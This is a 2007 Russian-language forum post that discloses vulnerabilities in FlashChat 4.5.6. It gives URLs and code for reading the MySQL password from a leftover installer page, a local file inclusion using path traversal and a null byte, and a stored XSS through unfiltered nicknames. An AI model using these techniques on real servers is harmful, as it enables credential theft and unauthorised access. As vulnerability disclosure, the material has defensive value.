Чаты FlashChat some bugz

Discussion in 'Веб-уязвимости' started by Goudini, 1 May 2007.

  1. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    Здрасвуйте, сегодня я покажу несколько найденых уязвимостей в чате FlashChat v 4.5.6. Тестил на старой версии, т.к. не было возомжности потестить на новой.
    Возможно баги существуют в новых версиях.

    Найденное мною ранее: пасивная xss в движке чата

    Итак приступим!
    Часто бывает что админы не удаляют установочные файлы .
    Если это так, то, возможно, мы увидим такой текст:

    ======================
    Узнаём пароль на MySQL
    ======================

    Перейдём ко второму шагу установки чата
    Code:
    http://server.omg.ru/chat/install.php?step=2
    Увидим примерно такое:


    Пароль на MySQL выводиться в html-форме под звёздочками.

    Code:
    <INPUT type="password" size="40" name="password" value="<?php echo $dbpass ?>" <?php if($useCMS) echo 'disabled';?>>
    смотрим html код:
    Code:
    <INPUT type="password" size="40" name="password" value="[B]89f732r[/B]" >
    в данном случае 89f732r - это и есть пароль, пользователь - root.

    ===================
    Локальный инклудинГ
    ===================

    Всё те же файлы установки...
    Приведу кусок кода с файла install.php:

    PHP:
    $step $_GET['step'];

    if( ! 
    $step || $step<|| $step>8
    {
        
    $step 1;
    }

    include 
    "./install_files/step_$step.php";

    Code:
    http://server.omg.ru/chat/install.php?step=2'
    Ошибка, файл не найден

    Code:
    Warning: include(./install_files/step_2\'.php) [function.include]: failed to open stream: No such file or directory in \home\omg\htdocs\chat\install.php on line 18
    Warning: include() [function.include]: Failed opening './install_files/step_2\'.php' for inclusion (include_path='.;C:\php5\pear') in \home\omg\htdocs\chat\install.php on line 18
    Теперь, можно произвести локальный инклуд файлов,если это позволит php.

    Code:
    http://server.omg.ru/chat/install.php?step=2.php/../../index.php%00
    откроет главную страницу чата :)

    ============
    Активная xsS
    ============

    Плохая проверка имён в файле info.php

    PHP:
    <?php foreach($rooms as $room) { ?>
        <tr>
            <td><?php echo $room['id']?></td>
            <td><?php echo $room['name']?></td>
            <td><?php echo numusers($room['id'])?></td>
            <td><?php
            $users 
    usersinroom($room['id']);
            foreach( 
    $users as $user ) {
                echo 
    $user['login'] . "<br>";
            }
            
    ?> </td>
        </tr>
    <?php ?>
    Переменная $user['login'] (и не только она) не фильтруеться перед выводом в браузер.
    Если войти в чат с ником <h1>mda</h1>,то при обращении к файле info.php увидим наш текст :)

    /me Goudini - 2007
     
    2 people like this.